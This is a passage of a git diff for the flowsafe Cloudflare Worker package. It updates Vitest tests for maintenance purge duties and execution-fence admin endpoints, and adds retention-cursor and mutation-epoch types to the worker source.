+    ).mockRejectedValue(Object.create(null));
+
+    const outcome = await worker.runMaintenanceDuty(
+      'purge',
+      {
+        ...env,
+        THREAD_RETENTION_DAYS: '30',
+      },
+      retentionContext(),
+    );
+
+    expect(outcome).toEqual({
+      ok: false,
+      error: expect.stringContaining(
+        'approval-retention-purge: unreadable error',
+      ),
+    });
+    expect(extraPurgeDuties).toHaveBeenCalledOnce();
+    expect(await threadIds(env)).toEqual([]);
+    expect(maintenanceLines(logs.lines())[0]).toMatchObject({
+      threadsPurged: 1,
+      extraDuty: 'ran',
+    });
+  });
+
   it('isolates purge-duty failures: a broken snapshot purge stops neither the approval purge nor extra duties', async () => {
     // #given — DB whose snapshot-table statements THROW (not merely missing)
     const logs = capturedLogs();
@@ -1069,17 +1842,25 @@ describe('createFlowsafeWorker maintenance duties', () => {
     });
 
     // #when
-    await worker.runMaintenanceDuty('purge', { ...env, DB: throwingDb });
+    await worker.runMaintenanceDuty(
+      'purge',
+      { ...env, DB: throwingDb },
+      retentionContext(),
+    );
 
     // #then — the failure is on record and the OTHER duties still folded
-    // into the one combined maintenance line
+    // into the one combined maintenance line. The line must name the cause
+    // this case injects, not only the surface: a fixture-shaped failure
+    // reaches the same surface, and a bare surface check passes while the
+    // isolation under test was never exercised.
     expect(
       logs
         .errors()
         .some(
           (line) =>
             line.includes('maintenance-error') &&
-            line.includes('retention-purge'),
+            line.includes('retention-purge') &&
+            line.includes('snapshot table wedged'),
         ),
     ).toBe(true);
     const lines = maintenanceLines(logs.lines());
@@ -1088,11 +1869,6 @@ describe('createFlowsafeWorker maintenance duties', () => {
     expect(lines[0]?.purged).toBeUndefined();
   });
 
-  // The agent-memory thread TTL (docs/agent-memory-isolation.md#thread-retention) as the
-  // purge alarm's third duty. Seeds the two memory tables the real
-  // @mastra/cloudflare-d1 schema creates (mastra-schema-guard.test.ts pins the
-  // column names); a fresh test DB has neither, which is itself the
-  // memory-less-deployment case the first test below rides.
   async function seedIdleThread(env: FlowsafeWorkerEnv): Promise<void> {
     await env.DB.prepare(
       'CREATE TABLE mastra_threads (id TEXT PRIMARY KEY, updatedAt TEXT NOT NULL)',
@@ -1129,7 +1905,7 @@ describe('createFlowsafeWorker maintenance duties', () => {
     await seedIdleThread(env);
 
     // #when
-    await worker.runMaintenanceDuty('purge', env);
+    await worker.runMaintenanceDuty('purge', env, retentionContext());
 
     // #then — the duty never ran: nothing in the log, nothing deleted
     const lines = maintenanceLines(logs.lines());
@@ -1145,10 +1921,14 @@ describe('createFlowsafeWorker maintenance duties', () => {
     await seedIdleThread(env);
 
     // #when
-    await worker.runMaintenanceDuty('purge', {
-      ...env,
-      THREAD_RETENTION_DAYS: '30',
-    });
+    await worker.runMaintenanceDuty(
+      'purge',
+      {
+        ...env,
+        THREAD_RETENTION_DAYS: '30',
+      },
+      retentionContext(),
+    );
 
     // #then — reaped WITH its messages, reported in the combined line
     const lines = maintenanceLines(logs.lines());
@@ -1160,7 +1940,6 @@ describe('createFlowsafeWorker maintenance duties', () => {
     });
   });
 
-  // Background-task TTL cleanup as the purge alarm's opt-in duty.
   async function seedOldCompletedTask(env: FlowsafeWorkerEnv): Promise<void> {
     await env.DB.prepare(
       `CREATE TABLE mastra_background_tasks (
@@ -1183,7 +1962,7 @@ describe('createFlowsafeWorker maintenance duties', () => {
     await seedOldCompletedTask(env);
 
     // #when
-    await worker.runMaintenanceDuty('purge', env);
+    await worker.runMaintenanceDuty('purge', env, retentionContext());
 
     // #then — the duty never ran when the feature was absent
     const lines = maintenanceLines(logs.lines());
@@ -1199,7 +1978,7 @@ describe('createFlowsafeWorker maintenance duties', () => {
     await seedOldCompletedTask(env);
 
     // #when
-    await worker.runMaintenanceDuty('purge', env);
+    await worker.runMaintenanceDuty('purge', env, retentionContext());
 
     // #then — reaped, reported in the combined maintenance line
     const lines = maintenanceLines(logs.lines());
@@ -1250,9 +2029,6 @@ describe('createFlowsafeWorker maintenance duties', () => {
   });
 
   it('isolates a THROWING thread purge: neither the snapshot purge, the approval purge, nor extra duties are starved', async () => {
-    // #given — a DB whose mastra_threads statements THROW (not merely missing).
-    // Isolating one duty while a sibling shares its failure is a defect class
-    // this codebase has already shipped once.
     const logs = capturedLogs();
     const { env } = makeEnv();
     const realDb = env.DB;
@@ -1270,11 +2046,15 @@ describe('createFlowsafeWorker maintenance duties', () => {
     });
 
     // #when
-    await worker.runMaintenanceDuty('purge', {
-      ...env,
-      DB: throwingDb,
-      THREAD_RETENTION_DAYS: '30',
-    });
+    await worker.runMaintenanceDuty(
+      'purge',
+      {
+        ...env,
+        DB: throwingDb,
+        THREAD_RETENTION_DAYS: '30',
+      },
+      retentionContext(),
+    );
 
     // #then — its own error surface, and every sibling duty still folded into
     // the one combined line
@@ -1284,7 +2064,8 @@ describe('createFlowsafeWorker maintenance duties', () => {
         .some(
           (line) =>
             line.includes('maintenance-error') &&
-            line.includes('thread-retention-purge'),
+            line.includes('thread-retention-purge') &&
+            line.includes('threads table wedged'),
         ),
     ).toBe(true);
     const lines = maintenanceLines(logs.lines());
@@ -1315,11 +2096,15 @@ describe('createFlowsafeWorker maintenance duties', () => {
     const worker = makeWorker();
 
     // #when
-    await worker.runMaintenanceDuty('purge', {
-      ...env,
-      DB: throwingDb,
-      THREAD_RETENTION_DAYS: '30',
-    });
+    await worker.runMaintenanceDuty(
+      'purge',
+      {
+        ...env,
+        DB: throwingDb,
+        THREAD_RETENTION_DAYS: '30',
+      },
+      retentionContext(),
+    );
 
     // #then — the thread TTL ran anyway
     const lines = maintenanceLines(logs.lines());
@@ -1337,10 +2122,14 @@ describe('createFlowsafeWorker maintenance duties', () => {
     await seedIdleThread(env);
 
     // #when
-    await worker.runMaintenanceDuty('purge', {
-      ...env,
-      THREAD_RETENTION_DAYS: '',
-    });
+    await worker.runMaintenanceDuty(
+      'purge',
+      {
+        ...env,
+        THREAD_RETENTION_DAYS: '',
+      },
+      retentionContext(),
+    );
 
     // #then — inert, exactly as if unset
     expect(maintenanceLines(logs.lines())[0]).not.toHaveProperty(
@@ -1361,10 +2150,14 @@ describe('createFlowsafeWorker maintenance duties', () => {
     await seedIdleThread(env);
 
     // #when
-    await worker.runMaintenanceDuty('purge', {
-      ...env,
-      THREAD_RETENTION_DAYS: '-5',
-    });
+    await worker.runMaintenanceDuty(
+      'purge',
+      {
+        ...env,
+        THREAD_RETENTION_DAYS: '-5',
+      },
+      retentionContext(),
+    );
 
     // #then — the operator's tripwire fires and NOTHING was deleted
     expect(
@@ -1393,7 +2186,11 @@ describe('createFlowsafeWorker maintenance duties', () => {
     const { env } = makeEnv();
 
     // #when
-    const outcome = await worker.runMaintenanceDuty('purge', env);
+    const outcome = await worker.runMaintenanceDuty(
+      'purge',
+      env,
+      retentionContext(),
+    );
 
     // #then — belt containment: the combined line still lands
     expect(
@@ -1402,7 +2199,8 @@ describe('createFlowsafeWorker maintenance duties', () => {
         .some(
           (line) =>
             line.includes('maintenance-error') &&
-            line.includes('extra-purge-duties'),
+            line.includes('extra-purge-duties') &&
+            line.includes('reaper wedged'),
         ),
     ).toBe(true);
     expect(maintenanceLines(logs.lines())).toHaveLength(1);
@@ -1469,7 +2267,8 @@ describe('createFlowsafeWorker storage table prefix', () => {
         resourceId TEXT,
         snapshot TEXT NOT NULL,
         createdAt TEXT NOT NULL,
-        updatedAt TEXT NOT NULL
+        updatedAt TEXT NOT NULL,
+        UNIQUE(workflow_name, run_id)
       )`,
     ).run();
     await env.DB.prepare(
@@ -1583,13 +2382,17 @@ describe('createFlowsafeWorker storage table prefix', () => {
       storageTablePrefix,
       backgroundTasks: {},
     });
-    await worker.runMaintenanceDuty('purge', {
-      ...env,
-      THREAD_RETENTION_DAYS: '30',
-      NOTIFICATION_RETENTION_DAYS: '30',
-      THREAD_STATE_RETENTION_DAYS: '30',
-      SCHEDULE_TRIGGER_RETENTION_DAYS: '30',
-    });
+    await worker.runMaintenanceDuty(
+      'purge',
+      {
+        ...env,
+        THREAD_RETENTION_DAYS: '30',
+        NOTIFICATION_RETENTION_DAYS: '30',
+        THREAD_STATE_RETENTION_DAYS: '30',
+        SCHEDULE_TRIGGER_RETENTION_DAYS: '30',
+      },
+      retentionContext(),
+    );
   }
 
   async function expectDomains(
@@ -1767,7 +2570,7 @@ describe('createFlowsafeWorker schedule tick duty', () => {
     const { env } = makeEnv();
 
     // #when the purge duty runs while the tick builder is present
-    await worker.runMaintenanceDuty('purge', env);
+    await worker.runMaintenanceDuty('purge', env, retentionContext());
 
     // #then the tick was never invoked; the purge ran as before
     expect(tickFn).not.toHaveBeenCalled();
@@ -1980,7 +2783,109 @@ describe('createFlowsafeWorker execution-fence administration', () => {
     });
   }
 
-  it('reads and moves the fence for an authenticated control plane', async () => {
+  it('keeps complete proof identity out of admin success and conflict payloads', async () => {
+    const worker = makeWorker();
+    const { env, ctx } = makeEnv();
+    env.MAINTENANCE_ADMIN_SECRET = ADMIN_SECRET;
+    const command = {
+      expected: 'open',
+      next: 'proof-only',
+      proofKey: 'key',
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+    };
+    expect(
+      (
+        await worker.fetch(
+          fenceRequest({ method: 'POST', body: command }),
+          env,
+          ctx,
+        )
+      ).status,
+    ).toBe(200);
+    await env.DB.prepare(
+      "UPDATE flowsafe_execution_fence SET proof_run_id = 'run', proof_table_prefix = 'tenant_', proof_workflow_id = 'workflow', proof_start_token = 'private-generation'",
+    ).run();
+    const before = (
+      await env.DB.prepare('SELECT * FROM flowsafe_execution_fence').all()
+    ).results;
+    const expected = {
+      state: 'proof-only',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 1,
+      proofKey: 'key',
+      proofRunId: 'run',
+    };
+    for (const request of [
+      fenceRequest({ method: 'GET' }),
+      fenceRequest({ method: 'POST', body: command }),
+    ]) {
+      const response = await worker.fetch(request, env, ctx);
+      expect(response.status).toBe(200);
+      expect(await response.json()).toEqual(expected);
+    }
+    expect(
+      (await env.DB.prepare('SELECT * FROM flowsafe_execution_fence').all())
+        .results,
+    ).toEqual(before);
+    const conflict = await worker.fetch(
+      fenceRequest({
+        method: 'POST',
+        body: { ...command, expectedRevision: 2 },
+      }),
+      env,
+      ctx,
+    );
+    expect(conflict.status).toBe(409);
+    expect(await conflict.json()).toEqual({
+      error: 'execution fence transition conflicts with the current reading',
+      reason: {
+        code: 'FENCE_CAS_CONFLICT',
+        ...expected,
+        conflict: 'expectation-mismatch',
+      },
+    });
+    const reset = await worker.fetch(
+      fenceRequest({
+        method: 'POST',
+        body: {
+          expected: 'proof-only',
+          next: 'proof-only',
+          proofKey: 'key',
+          expectedMutationEpoch: 0,
+          expectedRevision: 1,
+          proofExecution: { startToken: 'forged' },
+        },
+      }),
+      env,
+      ctx,
+    );
+    expect(reset.status).toBe(200);
+    expect(await reset.json()).toEqual({
+      state: 'proof-only',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 2,
+      proofKey: 'key',
+    });
+    expect(
+      (
+        await env.DB.prepare(
+          'SELECT proof_run_id, proof_table_prefix, proof_workflow_id, proof_start_token FROM flowsafe_execution_fence',
+        ).all()
+      ).results,
+    ).toEqual([
+      {
+        proof_run_id: null,
+        proof_table_prefix: null,
+        proof_workflow_id: null,
+        proof_start_token: null,
+      },
+    ]);
+  });
+
+  it('returns versioned readings for both admin methods', async () => {
     // #given
     const worker = makeWorker();
     const { env, ctx } = makeEnv();
@@ -1993,7 +2898,12 @@ describe('createFlowsafeWorker execution-fence administration', () => {
       ctx,
     );
     expect(initial.status).toBe(200);
-    expect(await initial.json()).toEqual({ state: 'open' });
+    expect(await initial.json()).toEqual({
+      state: 'open',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 0,
+    });
 
     // #when — the control plane drains, then locks.
     const drained = await worker.fetch(
@@ -2005,7 +2915,12 @@ describe('createFlowsafeWorker execution-fence administration', () => {
       ctx,
     );
     expect(drained.status).toBe(200);
-    expect(await drained.json()).toEqual({ state: 'draining' });
+    expect(await drained.json()).toEqual({
+      state: 'draining',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 1,
+    });
 
     // #then — a STALE expectation is a 409 carrying the current state, so the
     // loser of a control-plane race can re-plan without a second round trip.
@@ -2052,6 +2967,154 @@ describe('createFlowsafeWorker execution-fence administration', () => {
     expect(await observed.json()).toEqual({
       state: 'proof-only',
       proofKey: 'proof-1',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 3,
+    });
+  });
+
+  it('requires versioned expectations after activation', async () => {
+    const worker = makeWorker();
+    const { env, ctx } = makeEnv();
+    env.MAINTENANCE_ADMIN_SECRET = ADMIN_SECRET;
+    const command = {
+      expected: 'open',
+      next: 'draining',
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+      advanceMutationEpoch: true,
+    };
+    const active = {
+      state: 'draining',
+      mutationEpoch: 1,
+      requireMutationEpoch: true,
+      transitionRevision: 1,
+    };
+    const activated = await worker.fetch(
+      fenceRequest({ method: 'POST', body: command }),
+      env,
+      ctx,
+    );
+    expect(activated.status).toBe(200);
+    expect(await activated.json()).toEqual(active);
+    for (const [body, conflict] of [
+      [
+        { expected: 'draining', next: 'open' },
+        'versioned-expectation-required',
+      ],
+      [{ ...command, next: 'open' }, 'expectation-mismatch'],
+    ]) {
+      const response = await worker.fetch(
+        fenceRequest({ method: 'POST', body }),
+        env,
+        ctx,
+      );
+      expect(response.status).toBe(409);
+      expect(await response.json()).toEqual({
+        error: 'execution fence transition conflicts with the current reading',
+        reason: { code: 'FENCE_CAS_CONFLICT', ...active, conflict },
+      });
+    }
+  });
+
+  it('keeps exact CAS response-loss retry identity through admin JSON', async () => {
+    const worker = makeWorker();
+    const { env, ctx } = makeEnv();
+    env.MAINTENANCE_ADMIN_SECRET = ADMIN_SECRET;
+    const db = env.DB;
+    const prepare = db.prepare.bind(db);
+    vi.spyOn(db, 'prepare').mockImplementation((sql) => {
+      const original = prepare(sql);
+      if (!sql.startsWith('UPDATE flowsafe_execution_fence')) return original;
+      const bind = original.bind.bind(original);
+      original.bind = (...values) => {
+        const bound = bind(...values);
+        const all = bound.all.bind(bound);
+        bound.all = async () => {
+          await all();
+          throw new Error('UPDATE response lost');
+        };
+        return bound;
+      };
+      return original;
+    });
+    const command = {
+      expected: 'open',
+      next: 'proof-only',
+      proofKey: 'proof-a',
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+      advanceMutationEpoch: true,
+    };
+    for (let attempt = 0; attempt < 2; attempt += 1) {
+      const response = await worker.fetch(
+        fenceRequest({ method: 'POST', body: command }),
+        env,
+        ctx,
+      );
+      expect(response.status).toBe(200);
+      expect(await response.json()).toEqual({
+        state: 'proof-only',
+        proofKey: 'proof-a',
+        mutationEpoch: 1,
+        requireMutationEpoch: true,
+        transitionRevision: 1,
+      });
+    }
+    const changed = await worker.fetch(
+      fenceRequest({
+        method: 'POST',
+        body: { ...command, proofKey: 'proof-b' },
+      }),
+      env,
+      ctx,
+    );
+    expect(changed.status).toBe(503);
+    expect(await changed.json()).toEqual({
+      error: 'execution fence transition could not be recorded',
+      reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+    });
+  });
+
+  it('does not expose receipts or accept malformed epoch fields', async () => {
+    const worker = makeWorker();
+    const { env, ctx } = makeEnv();
+    env.MAINTENANCE_ADMIN_SECRET = ADMIN_SECRET;
+    const command = {
+      expected: 'open',
+      next: 'open',
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+    };
+    for (const invalid of [
+      { expectedMutationEpoch: '0' },
+      { expectedMutationEpoch: null },
+      { expectedRevision: '0' },
+      { expectedRevision: -1 },
+      { expectedRevision: 0.5 },
+      { advanceMutationEpoch: 'true' },
+      { advanceMutationEpoch: null },
+    ]) {
+      const response = await worker.fetch(
+        fenceRequest({ method: 'POST', body: { ...command, ...invalid } }),
+        env,
+        ctx,
+      );
+      expect(response.status).toBe(400);
+      expect(await response.json()).toMatchObject({
+        reason: { code: 'INVALID_EXECUTION_FENCE_REQUEST' },
+      });
+    }
+    const response = await worker.fetch(
+      fenceRequest({ method: 'POST', body: command }),
+      env,
+      ctx,
+    );
+    expect(await response.json()).toEqual({
+      state: 'open',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 1,
     });
   });
 
@@ -2274,3 +3337,147 @@ describe('createFlowsafeWorker drain inventory', () => {
     expect(response.status).toBe(405);
   });
 });
+
+describe('FS8 D3 proof activation Worker composition', () => {
+  it.each([
+    '',
+    'PROOF_',
+  ])('passes its captured trusted namespace %s into actual approval decisions', async (configuredPrefix) => {
+    const h = makeEnv();
+    const prefix = configuredPrefix.toLowerCase();
+    const runId = 'acme_run-proof';
+    const fence = executionFenceFor(h.env.DB);
+    await fence.seed('migration-locked');
+    await fence.transition({
+      expected: 'migration-locked',
+      next: 'proof-only',
+      proofKey: 'key',
+    });
+    await h.env.DB.prepare(
+      'UPDATE flowsafe_execution_fence SET proof_run_id = ?, proof_table_prefix = ?, proof_workflow_id = ?, proof_start_token = ?',
+    )
+      .bind(runId, prefix, 'wf', 'generation')
+      .run();
+    await h.env.DB.prepare(
+      `CREATE TABLE ${prefix}mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT)`,
+    ).run();
+    await h.env.DB.prepare(
+      `INSERT INTO ${prefix}mastra_workflow_snapshot VALUES (?,?,?,?,?,?)`,
+    )
+      .bind(
+        'wf',
+        runId,
+        null,
+        JSON.stringify({
+          runId,
+          status: 'suspended',
+          requestContext: {
+            'flowsafe.runProvenance': {
+              version: 2,
+              startToken: 'generation',
+              attemptToken: 'attempt',
+              resumeCounts: [],
+            },
+          },
+        }),
+        'created',
+        'updated',
+      )
+      .run();
+    const store = approvalStoreFactoryFor(h.env.DB, prefix).store();
+    const now = new Date().toISOString();
+    const { record } = await store.create({
+      id: 'approval-proof',
+      workflowId: 'wf',
+      runId,
+      title: 'proof',
+      connectors: [],
+      priority: 'normal',
+      status: 'pending',
+      requestedBy: 'other',
+      requestedByKind: 'human',
+      createdAt: now,
+      updatedAt: now,
+    });
+    const overrides: Partial<FlowsafeWorkerConfig<FlowsafeWorkerEnv>> = {
+      storageTablePrefix: configuredPrefix,
+      buildResumeRun: () => async () => successSummary(runId),
+    };
+    const worker = makeWorker(overrides);
+    overrides.storageTablePrefix = 'changed_';
+    const response = await worker.fetch(
+      authed(`http://host/api/approvals/${record.id}/decide`, {
+        method: 'POST',
+        body: JSON.stringify({ decision: 'approve' }),
+      }),
+      h.env,
+      h.ctx,
+    );
+    expect((await store.get(record.id))?.status).toBe('approved');
+    expect(response.status).toBe(200);
+    await h.flush();
+  });
+
+  it.each([
+    'initial',
+    'result',
+  ] as const)('uses the private persistedStart %s callback through the actual Worker router', async (kind) => {
+    const h = makeEnv();
+    const store = startIdempotencyFor(h.env.DB);
+    await store.reserve({
+      key: 'key',
+      owner: { kind: 'human', id: 'ada' },
+      targetKind: 'workflow',
+      targetId: 'wf',
+      mintRunId: () => 'acme_run-proof',
+    });
+    const requests: string[] = [];
+    const summary = successSummary('acme_run-proof');
+    h.env.RUNNER = {
+      idFromName: (name) => name,
+      get: () => ({
+        fetch: async (url: string) => {
+          requests.push(url);
+          if (url.includes('?replay=1'))
+            return new Response(
+              JSON.stringify({
+                kind,
+                execution: {
+                  tablePrefix: '',
+                  workflowId: 'wf',
+                  runId: 'acme_run-proof',
+                  startToken: 'generation',
+                  owner: { kind: 'human', id: 'ada' },
+                  target: { kind: 'workflow', id: 'wf' },
+                },
+                ...(kind === 'result' ? { value: summary } : {}),
+              }),
+            );
+          if (url.includes('start-liveness'))
+            return new Response(JSON.stringify({ live: true }));
+          throw new Error('public status or start was unexpectedly used');
+        },
+      }),
+    };
+    const response = await makeWorker().fetch(
+      authed('http://host/runs', {
+        method: 'POST',
+        body: JSON.stringify({ workflowId: 'wf', idempotencyKey: 'key' }),
+      }),
+      h.env,
+      h.ctx,
+    );
+    const reservation = await store.read('key');
+    expect(reservation?.binding.kind).toBe(
+      kind === 'result' ? 'bound' : 'unbound',
+    );
+    expect(requests[0]).toContain('?replay=1');
+    expect(response.status).toBe(kind === 'result' ? 200 : 503);
+    if (kind === 'result') expect(await response.json()).toMatchObject(summary);
+    else
+      expect(await response.json()).toMatchObject({
+        reason: { code: 'IDEMPOTENT_START_PENDING' },
+      });
+    await h.flush();
+  });
+});
diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts
index 99ee3324..d6e72c9c 100644
--- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts
+++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts
@@ -1,14 +1,4 @@
 // SPDX-License-Identifier: Apache-2.0
-// createFlowsafeWorker — the whole production-Worker skeleton the deploy
-// template and the showcase host previously carried as near-byte copies:
-// the /healthz → routers → 404 fetch pipeline over one actor resolver, the
-// alarm-driven maintenance (deadline, sweep, purge, and optional schedule tick
-// never share an invocation). Hosts stay thin shells: they supply workflows,
-// their identity seam (buildVerifier), and their deployment-specific hooks —
-// preRoutes (extra unauthenticated/authenticated mounts), beforeStart/
-// beforeResume (e.g. a budget charge), notify (reviewer-facing transport), and
-// extraPurgeDuties (e.g. a host-specific purge). Everything here is structural:
-// host-kit never imports @cloudflare/workers-types.
 
 import type {
   ActorContext,
@@ -36,14 +26,20 @@ import {
   createAuditProxyQueue,
   type InfrastructureAuditEnvelope,
 } from '../audit-export/index.js';
+import { parseRunRetentionCursor } from '../do-runner/d1-storage.js';
 import { credentialsMatch } from '../do-runner/deployment-identity.js';
 import type { DurableObjectRunLifecycleHooks } from '../do-runner/durable-object.js';
+import {
+  InvalidMutationEpochError,
+  normalizeMutationEpoch,
+} from '../do-runner/execution-admission.js';
 import type {
   DeploymentIdentityDatabase,
   ExecutionFenceStore,
   PurgeExpiredBackgroundTasksResult,
   RunArtifactPurger,
   RunDeadlineCursor,
+  RunRetentionCursor,
   SnapshotDatabase,
   StartIdempotencyStore,
 } from '../do-runner/index.js';
@@ -88,6 +84,7 @@ import {
 import {
   approvalStoreFactoryFor,
   buildHostApprovalService,
+  hostErrorText,
   type MaintenanceOutcome,
   maintenancePrincipal,
   reconcileApprovalsOnStatusDetached,
@@ -205,8 +202,7 @@ export interface FlowsafeWorkerEnv {
   FLEET_DEPLOYMENT_SCRIPT?: string;
   /** Fleet resource group stamped onto trusted state. */
   FLEET_RESOURCE_GROUP?: string;
-  /** Distinguishes the trusted state runtime from an external candidate. */
-  FLEET_RESOURCE_ROLE?: 'platform-state';
+  FLEET_RESOURCE_ROLE?: 'platform-state' | 'platform-catalog';
   /** Per-deployment Worker-to-Durable-Object credential. */
   DEPLOYMENT_IDENTITY_SECRET: string;
   /** The runner DO namespace createDoRunTopology drives. */
@@ -333,6 +329,11 @@ export interface FlowsafeRunnerLifecycleConfig<Env extends FlowsafeWorkerEnv> {
 
 export interface FlowsafeWorkerConfig<Env extends FlowsafeWorkerEnv>
   extends FlowsafeRunnerLifecycleConfig<Env> {
+  /**
+   * Trusted host epoch, captured before request authentication and storage waits.
+   * Callbacks return a number or undefined synchronously; client headers cannot supply it.
+   */
+  mutationEpoch?: number | ((env: Env) => unknown);
   /** The catalog createRunRouter serves and gates (hosts pass their metas). */
   workflows: ReadonlyArray<WorkflowMeta>;
   /**
@@ -374,6 +375,7 @@ export interface FlowsafeWorkerConfig<Env extends FlowsafeWorkerEnv>
     env: Env,
     workflowId: string,
     inputData: unknown,
+    requestContext: Record<string, unknown> | undefined,
   ) => Promise<void>;
   /** Host policy immediately before a validated raw resume reaches the run DO. */
   beforeResume?: (
@@ -458,7 +460,10 @@ export interface FlowsafeWorkerConfig<Env extends FlowsafeWorkerEnv>
    * (which needs the schedules store, its run-start seam — topology.start — and
    * the run-cap + audit config) and returns the closure here. The composer runs
    * it as its OWN failure-isolated alarm duty (own try/catch,
-   * own `schedule-tick` log line). INJECTED (not built here, structurally typed as
+   * own `schedule-tick` log line). The composer invokes THIS BUILDER outside
+   * that try, so a builder that throws is logged as `maintenance-error` with
+   * `surface: 'tick-duty'`; build a factory that can refuse at construction
+   * inside the returned closure. INJECTED (not built here, structurally typed as
    * `() => Promise<unknown>`) because createScheduleTick lives in `schedules/`,
    * which transitively imports host-kit — host-kit importing it back would cycle.
    * Absent (or `tickIntervalMs` unset) ⇒ no tick invocation.
@@ -484,16 +489,9 @@ interface ConfiguredApprovalServiceOptions {
   notify?: ApprovalNotificationSink;
   allowSelfDecision: SelfDecisionPolicy;
   stream?: ApprovalStreamSink;
-  /**
-   * REQUIRED, unlike its optional counterpart on HostApprovalServiceOptions:
-   * this interface is internal to the composer, both of its call sites are in
-   * this file, and every service the composer builds sits on a database whose
-   * fence it can name. Making it required is what keeps a third call site from
-   * being added later that silently builds an unfenced service — which would
-   * let a decision commit durably on a migration-locked deployment and then
-   * fail to resume.
-   */
+  /** Every composed service uses the captured database fence and namespace. */
   executionFence: ExecutionFenceStore;
+  workflowTablePrefix: string;
 }
 
 function buildConfiguredApprovalService<Env extends FlowsafeWorkerEnv>(
@@ -519,6 +517,7 @@ function buildConfiguredApprovalService<Env extends FlowsafeWorkerEnv>(
     allowSelfDecision: options.allowSelfDecision,
     stream: options.stream,
     executionFence: options.executionFence,
+    workflowTablePrefix: options.workflowTablePrefix,
   });
 }
 
@@ -551,6 +550,7 @@ export function createFlowsafeRunnerLifecycle<Env extends FlowsafeWorkerEnv>(
   const service = buildConfiguredApprovalService(config, env, topology, {
     store: approvalStoreFactoryFor(env.DB, storageTablePrefix).store(),
     executionFence: executionFenceForEnv(env),
+    workflowTablePrefix: (storageTablePrefix ?? '').toLowerCase(),
     waitUntil: options.waitUntil,
     notify: config.notify?.(env),
     allowSelfDecision,
@@ -665,9 +665,42 @@ async function validateFleetChannelTopology<Env extends FlowsafeWorkerEnv>(
 
 export type MaintenanceDuty = 'deadline' | 'sweep' | 'purge' | 'tick';
 
+/**
+ * The cursor seam a duty resumes from and advances. Each field is optional
+ * because the deadline duty and the retention purge own one pair each, and a
+ * caller driving one duty has nothing to say about the other's cursor. The
+ * purge takes `MaintenancePurgeDutyContext` instead, which requires its half.
+ * The deadline duty reads `deadlineCursor` only alongside
+ * `advanceDeadlineCursor`: a cursor supplied without the callback that
+ * advances it is ignored.
+ */
 export interface MaintenanceDutyContext {
   deadlineCursor?: RunDeadlineCursor;
   advanceDeadlineCursor?(cursor: RunDeadlineCursor): Promise<void>;
+  retentionCursor?: RunRetentionCursor;
+  advanceRetentionCursor?(cursor: RunRetentionCursor): Promise<void>;
+}
+
+/**
+ * The retention purge's own context. `advanceRetentionCursor` is required here
+ * because the layer it feeds requires it: `purgeExpiredWorkflowRuns` declares
+ * `advanceCursor` non-optional (do-runner/d1-storage.ts), and a purge with
+ * nowhere to record its progress rescans the same terminal rows on every
+ * alarm. The type keeps a typed host from omitting it; `hasRetentionCursorSeam`
+ * refuses an untyped one under `config-error` before any purge surface runs,
+ * rather than letting the purge report a `retention-purge` failure.
+ */
+export interface MaintenancePurgeDutyContext extends MaintenanceDutyContext {
+  advanceRetentionCursor(cursor: RunRetentionCursor): Promise<void>;
+}
+
+const RETENTION_CURSOR_SEAM_REASON =
+  'retention purge requires advanceRetentionCursor';
+
+function hasRetentionCursorSeam(
+  context: MaintenanceDutyContext | undefined,
+): context is MaintenancePurgeDutyContext {
+  return typeof context?.advanceRetentionCursor === 'function';
 }
 
 /** The Worker handler plus the maintenance duty seam consumed by its DO. */
@@ -677,8 +710,14 @@ export interface FlowsafeWorker<Env extends FlowsafeWorkerEnv> {
     env: Env,
     ctx: FlowsafeWorkerContext,
   ): Promise<Response>;
+  /** The purge duty requires the retention cursor seam; the others do not. */
+  runMaintenanceDuty(
+    duty: 'purge',
+    env: Env,
+    context: MaintenancePurgeDutyContext,
+  ): Promise<MaintenanceOutcome>;
   runMaintenanceDuty(
-    duty: MaintenanceDuty,
+    duty: Exclude<MaintenanceDuty, 'purge'>,
     env: Env,
     context?: MaintenanceDutyContext,
   ): Promise<MaintenanceOutcome>;
@@ -694,22 +733,6 @@ function json(payload: unknown, status = 200): Response {
 const MAINTENANCE_ADMIN_SECRET_PATTERN = /^[\x21-\x7e]{32,256}$/;
 const FLEET_SPEC_DIGEST_PATTERN = /^[a-f0-9]{64}$/;
 
-/**
- * What the shared admin gate decided. A union rather than `Response | null`
- * because an authorized answer carries two things a caller needs: the
- * credential the request presented, which the maintenance route forwards to its
- * Durable Object on the delegating path below, and WHETHER this was that
- * delegating path. Recovering the credential by re-reading the header would
- * either re-duplicate the Bearer extraction this gate exists to own, or need an
- * unreachable `undefined` branch to satisfy the types.
- *
- * `delegated` is reported rather than re-derived for the stronger reason: the
- * rule that makes `MAINTENANCE_ADMIN_SECRET === undefined` mean "delegating" is
- * enforced HERE — an absent secret refuses outright unless the caller asked to
- * delegate — so a route re-testing the env var is restating a decision it
- * cannot see, and would keep answering `true` if this gate's policy ever
- * changed. One decision, reported once.
- */
 type AdminCredentialDecision =
   | {
       readonly authorized: true;
@@ -722,38 +745,13 @@ type AdminCredentialDecision =
     }
   | { readonly authorized: false; readonly response: Response };
 
-/**
- * The credential preamble EVERY /admin surface runs before it does anything.
- *
- * One function rather than a copy per route because this is the trust boundary
- * itself (docs/security-threat-model.md, "The provisioning boundary"): it
- * proves MAINTENANCE_ADMIN_SECRET is configured, proves it is DISTINCT from the
- * deployment identity secret (sharing them would let a Worker-to-DO credential
- * move the fence, and vice versa), and constant-time compares the request's
- * Bearer token against it. A second copy is a second place for one of those
- * three to be dropped in a hurry, and the inventory route lands here next.
- *
